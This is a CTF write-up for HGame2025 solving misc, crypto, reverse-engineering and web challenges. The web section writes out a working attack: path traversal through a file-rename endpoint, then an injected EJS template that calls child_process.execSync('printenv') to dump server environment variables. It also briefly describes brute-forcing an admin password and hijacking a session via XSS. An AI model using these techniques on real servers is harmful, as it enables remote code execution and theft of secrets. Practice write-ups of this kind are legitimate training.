HGame2025 St4rr Writeup

签到

TEST NC

从这里开始的序章

Misc

Hakuya Want A Girl Friend

一眼压缩包，把十六进制导入010，看到结尾有个倒过来的png

提取出这个png以后发现crc有问题，爆破一下正确的宽高

```
import binascii
import struct
crcbp = open("1.png", "rb").read()     #填入图片名
crc32frombp = int(crcbp[29:33].hex(),16)
print(crc32frombp)

for i in range(10000):
    for j in range(10000):
        data = crcbp[12:16] + \
            struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        # print(crc32)
        if(crc32 == crc32frombp):
            print(i, j)
            print('hex:', hex(i), hex(j))
            exit(0)
```

找到解压密码，解压得到flag

Level 314 线性走廊中的双生实体

先确认一下模型结构

```
import torch
entity = torch.jit.load('entity.pt')
for name, module in entity.named_modules():
    print(name)
'''
linear1
security
relu
linear2
'''
```

security层的代码中涉及了flag

```
import torch
entity = torch.jit.load('entity.pt')
security_layer = entity.security
print(security_layer.code)
```

security层代码

```
def forward(self,
    x: Tensor) -> Tensor:
  _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004),
1.0000000000000001e-05, 0.0001)
  if _0:
    _1 = annotate(List[str], [])
    flag = self.flag
    for _2 in range(torch.len(flag)):
      b = flag[_2]
      _3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
    decoded = torch.join("", _1)
    print("Hidden:", decoded)
  else:
    pass
  if bool(torch.gt(torch.mean(x), 0.5)):
    _4 = annotate(List[str], [])
    fake_flag = self.fake_flag
    for _5 in range(torch.len(fake_flag)):
      c = fake_flag[_5]
      _6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
    decoded0 = torch.join("", _4)
    print("Decoy:", decoded0)
  else:
    pass
  return x
```

为什么要费心输入呢，直接输出flag它不香么()

```
import torch
print(''.join(chr(i^85) for i in torch.jit.load('entity.pt').security.flag))
#flag{s0_th1s_1s_r3al_s3cr3t}
```

Computer cleaner

题目

给了个虚拟机，直接vmware挂载

不用多想，直奔/var/www/html先看看

uploads/shell.php里面找到第一段flag

查看upload_log.txt，找到攻击者ip

访问一下就可以看到第二段flag

从上面的日志中还可以看出第三段flag的位置

Crypto

sieve

题目

```
#sage
from Crypto.Util.number import bytes_to_long
from sympy import nextprime

FLAG = b'hgame{xxxxxxxxxxxxxxxxxxxxxx}'
m = bytes_to_long(FLAG)

def trick(k):
    if k > 1:
        mul = prod(range(1,k))
        if k - mul % k - 1 == 0:
            return euler_phi(k) + trick(k-1) + 1
        else:
            return euler_phi(k) + trick(k-1)
    else:
        return 1

e = 65537
p = q = nextprime(trick(e^2//6)<<128)
n = p * q
enc = pow(m,e,n)
print(f'{enc=}')
#enc=244929409747471413653014009978459273276644448166527803806948446666550615396785106320940233602506547617261737654
6
```

一看就是算法爷出的题

用杜教筛算欧拉函数的前缀和，直接把oi-wiki的代码拿来用

```
#include <cstring>
#include <iostream>
#include <map>
using namespace std;
constexpr int MAXN = 2000010;
long long T, n, pri[MAXN], cur, mu[MAXN], sum_mu[MAXN];
bool vis[MAXN];
map<long long, long long> mp_mu;

long long S_mu(long long x) {  // 求mu的前缀和
  if (x < MAXN) return sum_mu[x];
  if (mp_mu[x]) return mp_mu[x];  // 如果map中已有该大小的mu值，则可直接返回
  long long ret = (long long)1;
  for (long long i = 2, j; i <= x; i = j + 1) {
    j = x / (x / i);
    ret -= S_mu(x / i) * (j - i + 1);
  }
  return mp_mu[x] = ret;  // 路径压缩，方便下次计算
}

long long S_phi(long long x) {  // 求phi的前缀和
  long long ret = (long long)0;
  long long j;
  for (long long i = 1; i <= x; i = j + 1) {
    j = x / (x / i);
    ret += (S_mu(j) - S_mu(i - 1)) * (x / i) * (x / i);
  }
  return (ret - 1) / 2 + 1;
}

int main() {
  cin.tie(nullptr)->sync_with_stdio(false);
  cin >> T;
  mu[1] = 1;
  for (int i = 2; i < MAXN; i++) {  // 线性筛预处理mu数组
    if (!vis[i]) {
      pri[++cur] = i;
      mu[i] = -1;
    }
    for (int j = 1; j <= cur && i * pri[j] < MAXN; j++) {
      vis[i * pri[j]] = true;
      if (i % pri[j])
        mu[i * pri[j]] = -mu[i];
      else {
        mu[i * pri[j]] = 0;
        break;
      }
    }
  }
  for (int i = 1; i < MAXN; i++)
    sum_mu[i] = sum_mu[i - 1] + mu[i];  // 求mu数组前缀和
  while (T--) {
    cin >> n;
```

```
    cout << S_phi(n) << ' ' << S_mu(n) << '\n';
  }
  return 0;
}
//155763335410704472
```

然后用埃拉托斯特尼筛计算质数个数

```
from Crypto.Util.number import long_to_bytes
from sympy import nextprime
import gmpy2
import numpy as np
def count_primes(limit):
    is_prime = np.ones(limit + 1, dtype=bool)
    is_prime[0:2] = False
    for current in range(2, int(np.sqrt(limit)) + 1):
        if is_prime[current]:
            is_prime[current*current:limit+1:current] = False
    return np.sum(is_prime)
upper_limit = (65537**2) // 6
prime_count = count_primes(upper_limit)
result=155763335410704472+int(prime_count)
enc=244929409747471413653014009978459273276644448166527803806948446666550615396785106320940233602506547617261737654
6
p=nextprime(result<<128)
phi=p*(p-1)
d=gmpy2.invert(65537,phi)
m=long_to_bytes(pow(enc,d,p*p))
print(m)
#hgame{sieve_is_nOt_that_HArd}
```

Reverse

Compress dot new

根据题意用ai一把梭

题目

```
def "into b" [] {let arg = $in;0..(( $arg|length ) - 1)|each {|i|$arg|bytes at
$i..$i|into int}};def gss [] {match $in {{s:$s,w:$w} => [$s],
{a:$a,b:$b,ss:$ss,w:$w} => $ss}};def gw [] {match $in {{s:$s,w:$w} => $w,
{a:$a,b:$b,ss:$ss,w:$w} => $w}};def oi [v] {match $in {[] => [$v],[$h,..$t] =>
{if $v.w < $h.w {[$v,$h] ++ $t} else {[$h] ++ ($t|oi $v)}}}};def h [] {match $in
{[] => [],[$n] => $n,[$f,$sn,..$r] => {$r|oi {a:$f,b:$sn,ss:(($f|gss) ++
($sn|gss)),w:(($f|gw) + ($sn|gw))}|h}}};def gc [] {def t [nd, pth, cd] {match $nd
{{s:$s,w:$_} => ($cd|append {s:$s,c:$pth}),{a:$a,b:$b,ss:$_,w:$_} => {t $b
($pth|append 1) (t $a ($pth|append 0) $cd)}}};t $in [] []|each {|e|{s:$e.s,cs:
($e.c|each {|c|$c|into string}|str join)}}};def sk [] {match $in {null => null,
{s:$s,w:$_} => {s:$s},{a:$a,b:$b,ss:$_,w:$_} => {a:($a|sk),b:($b|sk)}}};def bf []
{$in|into b|reduce -f (0..255|reduce -f [] {|i,a|$a|append 0}) {|b,a|$a|update $b
(($a|get $b) + 1)}|enumerate|filter {|e|$e.item > 0}|each {|e|
{s:$e.index,w:$e.item}}};def enc [cd] {$in|into b|each {|b|$cd|filter {|e|$e.s ==
$b}|first|get "cs"}|str join};def compress []: binary -> string {let t =
$in|bf|h;[($t|sk|to json --raw), ($in|enc ($t|gc))]|str join "\n"}

# source compress.nu; open ./flag.txt --raw | into binary | compress | save
enc.txt
```

enc.txt


```
{"a":{"a":{"a":{"a":{"a":{"s":125},"b":{"a":{"s":119},"b":{"s":123}}},"b":{"a":
{"s":104},"b":{"s":105}}},"b":{"a":{"s":101},"b":{"s":103}}},"b":{"a":{"a":{"a":
{"s":10},"b":{"s":13}},"b":{"s":32}},"b":{"a":{"s":115},"b":{"s":116}}}},"b":
{"a":{"a":{"a":{"a":{"a":{"s":46},"b":{"s":48}},"b":{"a":{"a":{"s":76},"b":
{"s":78}},"b":{"a":{"s":83},"b":{"a":{"s":68},"b":{"s":69}}}}},"b":{"a":{"a":
{"s":44},"b":{"a":{"s":33},"b":{"s":38}}},"b":{"s":45}}},"b":{"a":{"a":
{"s":100},"b":{"a":{"s":98},"b":{"s":99}}},"b":{"a":{"a":{"s":49},"b":
{"s":51}},"b":{"s":97}}}},"b":{"a":{"a":{"a":{"s":117},"b":{"s":118}},"b":{"a":
{"a":{"s":112},"b":{"s":113}},"b":{"s":114}}},"b":{"a":{"a":{"s":108},"b":
{"s":109}},"b":{"a":{"s":110},"b":{"s":111}}}}}}
000100011101111110100100000111000101110001001110001100001000101110011100100110110
010101111011101100110100011101101001110111110111011011001110110011110011110111011
101110110101100111101100111100011100110111100001100110000101101110110001111001010
011100101110011110000110001010010100000001001010001000100111111101100101110101010
000111101000110110001110101011010011111111001111111011010101100001101110101101110
111010010011110010001011010111111111110011000101010110111001001111100011011010110
011110100000111101000001101101010110001111110001101010010111000001101111000000010
010100010001011100011100111001011101011111000101010110101111000001100111100011100
010111010111110001011010111000001010000001011000111101110001110111111010101001000
111010111001000111100100101101111011101110101111101100011111010101110010001011100
100101110001011010100001110101000101111010100110001110101011101100011011011000010
101000000101100011101111111110001010101110000
```


exp:

```python
import json

def decode_huffman(encoded_str, huffman_tree):
    current_node = huffman_tree
    decoded_bytes = bytearray()

    for bit in encoded_str:
        if bit == '0':
```

```
            current_node = current_node['a']
        else:  # bit is '1'
            current_node = current_node['b']

        if 's' in current_node:  # Reached a leaf node
            decoded_bytes.append(current_node['s'])
            current_node = huffman_tree  # Reset to root for next character

    return bytes(decoded_bytes)

def read_encoded_file(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
        huffman_tree_json = lines[0].strip()  # Read the first line as Huffman
tree
        encoded_str = ''.join(lines[1:]).strip()  # The rest is the encoded
string

    huffman_tree = json.loads(huffman_tree_json)
    return huffman_tree, encoded_str

def main():
    input_file = 'enc.txt'  # Path to your encoded file
    output_file = 'decoded_output.txt'

    huffman_tree, encoded_str = read_encoded_file(input_file)
    decoded_data = decode_huffman(encoded_str, huffman_tree)

    with open(output_file, 'wb') as file:
        file.write(decoded_data)

if __name__ == '__main__':
    main()
```

Turtle

第一次做手动upx脱壳，这里就写详细一点，参考这篇文章

用x64dbg打开，查看断点

按两次F9到push的断点

F7单步调试走完push

在RSP上点击在内存窗口中转到

右下角设置硬件断点

F9运行到断点处

看到jmp，设置断点，F9

F7步入

这里就是程序本体，开始dump

点击scylla插件

IAT Autosearch然后Get Imports

删除打叉的节点

先Dump然后对之前Dump下来的东西Fix Dump

至此脱壳完成

接下来用IDA看一下

跟进函数以后再分析可以得知这个程序的流程大概是先用普通RC4对密钥加密验证输入的密钥，然后用魔改过的RC4和正确的密钥对密文加密验证输入的密文

exp：

解密钥

```
def rc4_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_encrypt(S, plaintext):
    i = j = 0
    output = []
    for byte in plaintext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap
        K = S[(S[i] + S[j]) % 256]
        output.append(byte ^ K)
    return bytes(output)

ciphertext = [-51,-113,37,61,-31]
ciphertext_bytes = bytes([x if x >= 0 else x + 256 for x in ciphertext])+b'QJ'
key = "yekyek"
```

```
S_box = rc4_init(key)
plaintext = rc4_encrypt(S_box, ciphertext_bytes
print("解密后的文本:", plaintext)
try:
    print("解密后的文本（字符串形式）:", plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print("无法以UTF-8格式解码结果，可能需要其他编码格式或是二进制数据")
#ecg4ab6
```

解密文

```
def rc4_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_encrypt(S, plaintext):
    i = j = 0
    output = []
    for byte in plaintext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        output.append(byte +K)
    for i in range(len(output)):
        output[i]=output[i]%256
    return bytes(output)

ciphertext = [-8, -43, 98, -49, 67, -70, -62, 35, 21, 74, 81, 16, 39, 16, -79,
-49, -60, 9, -2, -29, -97, 73, -121, -22, 89, -62, 7, 59, -87, 17, -63, -68, -3,
75, 87, -60, 126, -48, -86, 10]
ciphertext_bytes = bytes([x if x >= 0 else x + 256 for x in ciphertext])
key = "ecg4ab6"
S_box = rc4_init(key)
plaintext = rc4_encrypt(S_box, ciphertext_bytes)
print("解密后的文本:", plaintext)
try:
    print("解密后的文本（字符串形式）:", plaintext.decode('utf-8'))
except UnicodeDecodeError:
    print("无法以UTF-8格式解码结果，可能需要其他编码格式或是二进制数据")
#hgame{YOu'r3_re4l1y_g3t_OUt_of_th3_upX!}
```

Web

Level 24 Pacman

在index.js里面可以看到疑似flag的东西

Level 47 BandBomb

题目给出的app.js源码：

```
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');

  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});
```

```
app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({
      message: '文件上传成功',
      filename: req.file.filename
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});
```

不难发现rename处存在目录穿越，而且可以通过访问/static/xxx来将对应的文件下载下来，因此我们只要利用漏洞穿越将想查看的文件放到public文件夹中即可

访问/static/1.ejs得到mortis.ejs：

```
<!DOCTYPE html>
<html>
<head>
    <title>Ave Mujica</title>
    <meta charset="UTF-8">
    <style>
        :root {
            --bg-color: #1a1a1a;
            --text-color: #e0e0e0;
            --accent-color: #ff4444;
            --border-color: #333;
            --hover-color: #2a2a2a;
```

```
        --button-bg: #ff4444;
        --button-hover: #ff6666;
    }

    body {
        padding: 20px;
        margin: 0;
        font-family: 'Segoe UI', Arial, sans-serif;
        background-color: var(--bg-color);
        color: var(--text-color);
        min-height: 100vh;
        background-image: url('/static/UmiTaki.webp');
        background-size: cover;
        background-position: center;
        background-attachment: fixed;
        position: relative;
    }

    body::before {
        content: '';
        position: fixed;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background: rgba(26, 26, 26, 0.85);
        z-index: 0;
    }

    .container {
        max-width: 800px;
        margin: 0 auto;
        padding: 20px;
        position: relative;
        z-index: 1;
    }

    h2 {
        color: var(--accent-color);
        font-size: 2em;
        margin-bottom: 1.5em;
        text-transform: uppercase;
        letter-spacing: 2px;
        text-align: center;
        text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);
    }

    .upload-section {
        padding: 2em;
        margin-bottom: 2em;
        text-align: center;
    }

    .upload-form {
        display: flex;
        justify-content: center;
        align-items: center;
        gap: 20px;
```

```
        }

        .file-input-container {
            position: relative;
        }

        input[type="file"] {
            display: none;
        }

        .file-input-label {
            display: inline-block;
            padding: 12px 24px;
            color: white;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 1px;
            font-size: 0.9em;
            white-space: nowrap;
            background-color: var(--accent-color);
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
        }

        button[type="submit"] {
            color: white;
            border: none;
            padding: 12px 24px;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 1px;
            font-size: 0.9em;
            white-space: nowrap;
            background-color: var(--accent-color);
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
        }

        .meme-section {
            padding: 2em;
            margin-bottom: 2em;
            text-align: center;
        }

        .file-list {
            margin-bottom: 2em;
        }

        .file-item {
            margin: 10px 0;
            padding: 15px 20px;
            border-radius: 5px;
            transition: all 0.3s ease;
            border: 2px solid var(--accent-color);
            background: transparent;
        }

        .file-item:hover {
```

```
            background: var(--accent-color);
            transform: translateX(5px);
        }

        .file-name {
            font-size: 1.1em;
            color: var(--text-color);
        }

        .meme-image {
            max-width: 200px;
            transition: transform 0.3s ease;
            margin-top: 2em;
            border-radius: 10px;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
        }

        .meme-image:hover {
            transform: scale(1.05);
        }

        .selected-file-name {
            position: absolute;
            bottom: -25px;
            left: 50%;
            transform: translateX(-50%);
            color: var(--accent-color);
            font-size: 0.9em;
            white-space: nowrap;
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .file-item {
            animation: fadeIn 0.5s ease forwards;
        }
    </style>
</head>
<body>
    <div class="container">
        <h2>Ave Mujica ! ! ! !!</h2>

        <div class="upload-section">
            <form id="uploadForm" class="upload-form">
                <div class="file-input-container">
                    <label class="file-input-label" for="fileInput">
                        选择文件
                    </label>
                    <input id="fileInput" type="file" name="file" required>
                    <div id="selectedFileName" class="selected-file-name"></div>
                </div>
                <button type="submit">上传文件</button>
```

```
            </form>
        </div>
        <div class="meme-section">
            <div id="fileList" class="file-list">
                <% if (files && files.length > 0) { %>
                    <% files.forEach(function(file) { %>
                        <div class="file-item">
                            <span class="file-name"><%= file %></span>
                        </div>
                    <% }); %>
                <% } else { %>
                    <p style="text-align: center; color:
rgba(255,255,255,0.5);">我们的乐队蒸蒸日上</p>
                    <p style="display: none;">只是UmiTaki而已</p>
                <% } %>
            </div>
            <img src="/static/Eruption.jpg" alt="表情包" class="meme-image">
        </div>
    </div>

    <script>
        // 显示选择的文件名
        document.getElementById('fileInput').addEventListener('change',
function(e) {
            const fileName = e.target.files[0]?.name || '';
            document.getElementById('selectedFileName').textContent = fileName;
        });

        // 上传文件
        document.getElementById('uploadForm').onsubmit = async (e) => {
            e.preventDefault();
            const formData = new FormData(e.target);

            try {
                const response = await fetch('/upload', {
                    method: 'POST',
                    body: formData
                });
                const result = await response.json();
                if (result.error) {
                    alert(result.error);
                } else {
                    alert(result.message);
                    window.location.reload();
                }
            } catch (err) {
                alert('上传失败: ' + err.message);
            }
        };
    </script>
</body>
</html>
```

试了下发现常见的地方都找不到flag，那么flag应该是在环境变量中，给这个ejs加点料进去再传回去

```
<!DOCTYPE html>
<html>
```

```
<head>
    <title>Ave Mujica</title>
    <meta charset="UTF-8">
    <style>
        :root {
            --bg-color: #1a1a1a;
            --text-color: #e0e0e0;
            --accent-color: #ff4444;
            --border-color: #333;
            --hover-color: #2a2a2a;
            --button-bg: #ff4444;
            --button-hover: #ff6666;
        }

        body {
            padding: 20px;
            margin: 0;
            font-family: 'Segoe UI', Arial, sans-serif;
            background-color: var(--bg-color);
            color: var(--text-color);
            min-height: 100vh;
            background-image: url('/static/UmiTaki.webp');
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            position: relative;
        }

        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(26, 26, 26, 0.85);
            z-index: 0;
        }

        .container {
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            position: relative;
            z-index: 1;
        }

        h2 {
            color: var(--accent-color);
            font-size: 2em;
            margin-bottom: 1.5em;
            text-transform: uppercase;
            letter-spacing: 2px;
            text-align: center;
            text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);
        }

        .upload-section {
```

```
        padding: 2em;
        margin-bottom: 2em;
        text-align: center;
    }

    .upload-form {
        display: flex;
        justify-content: center;
        align-items: center;
        gap: 20px;
    }

    .file-input-container {
        position: relative;
    }

    input[type="file"] {
        display: none;
    }

    .file-input-label {
        display: inline-block;
        padding: 12px 24px;
        color: white;
        cursor: pointer;
        text-transform: uppercase;
        letter-spacing: 1px;
        font-size: 0.9em;
        white-space: nowrap;
        background-color: var(--accent-color);
        border-radius: 8px;
        box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
    }

    button[type="submit"] {
        color: white;
        border: none;
        padding: 12px 24px;
        cursor: pointer;
        text-transform: uppercase;
        letter-spacing: 1px;
        font-size: 0.9em;
        white-space: nowrap;
        background-color: var(--accent-color);
        border-radius: 8px;
        box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3);
    }

    .meme-section {
        padding: 2em;
        margin-bottom: 2em;
        text-align: center;
    }

    .file-list {
        margin-bottom: 2em;
    }
```

```
        .file-item {
            margin: 10px 0;
            padding: 15px 20px;
            border-radius: 5px;
            transition: all 0.3s ease;
            border: 2px solid var(--accent-color);
            background: transparent;
        }

        .file-item:hover {
            background: var(--accent-color);
            transform: translateX(5px);
        }

        .file-name {
            font-size: 1.1em;
            color: var(--text-color);
        }

        .meme-image {
            max-width: 200px;
            transition: transform 0.3s ease;
            margin-top: 2em;
            border-radius: 10px;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3);
        }

        .meme-image:hover {
            transform: scale(1.05);
        }

        .selected-file-name {
            position: absolute;
            bottom: -25px;
            left: 50%;
            transform: translateX(-50%);
            color: var(--accent-color);
            font-size: 0.9em;
            white-space: nowrap;
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .file-item {
            animation: fadeIn 0.5s ease forwards;
        }
    </style>
</head>
<body>
    <div class="container">
        <h2>Ave Mujica ! ! ! !!</h2>
```

```
        <div class="upload-section">
            <form id="uploadForm" class="upload-form">
                <div class="file-input-container">
                    <label class="file-input-label" for="fileInput">
                        选择文件
                    </label>
                    <input id="fileInput" type="file" name="file" required>
                    <div id="selectedFileName" class="selected-file-name"></div>
                </div>
                <button type="submit">上传文件</button>
            </form>
        </div>
        <pre>
    <%-
process.mainModule.require('child_process').execSync('printenv').toString() %>
        </pre>
        <div class="meme-section">
            <div id="fileList" class="file-list">
                <% if (files && files.length > 0) { %>
                    <% files.forEach(function(file) { %>
                        <div class="file-item">
                            <span class="file-name"><%= file %></span>
                        </div>
                    <% }); %>
                <% } else { %>
                    <p style="text-align: center; color:
rgba(255,255,255,0.5);">我们的乐队蒸蒸日上</p>
                    <p style="display: none;">只是UmiTaki而已</p>
                <% } %>
            </div>
            <img src="/static/Eruption.jpg" alt="表情包" class="meme-image">
        </div>
    </div>

    <script>
        // 显示选择的文件名
        document.getElementById('fileInput').addEventListener('change',
function(e) {
            const fileName = e.target.files[0]?.name || '';
            document.getElementById('selectedFileName').textContent = fileName;
        });

        // 上传文件
        document.getElementById('uploadForm').onsubmit = async (e) => {
            e.preventDefault();
            const formData = new FormData(e.target);

            try {
                const response = await fetch('/upload', {
                    method: 'POST',
                    body: formData
                });
                const result = await response.json();
                if (result.error) {
                    alert(result.error);
                } else {
                    alert(result.message);
                    window.location.reload();
```

```
                }
            } catch (err) {
                alert('上传失败: ' + err.message);
            }
        };
    </script>
</body>
</html>
```

Level 69 MysteryMessageBoard

爆破得密码是888888

看题目描述就是xss

访问/admin，让机器人登录上去访问一下得到admin的session

用这个session去访问/flag即可得到flag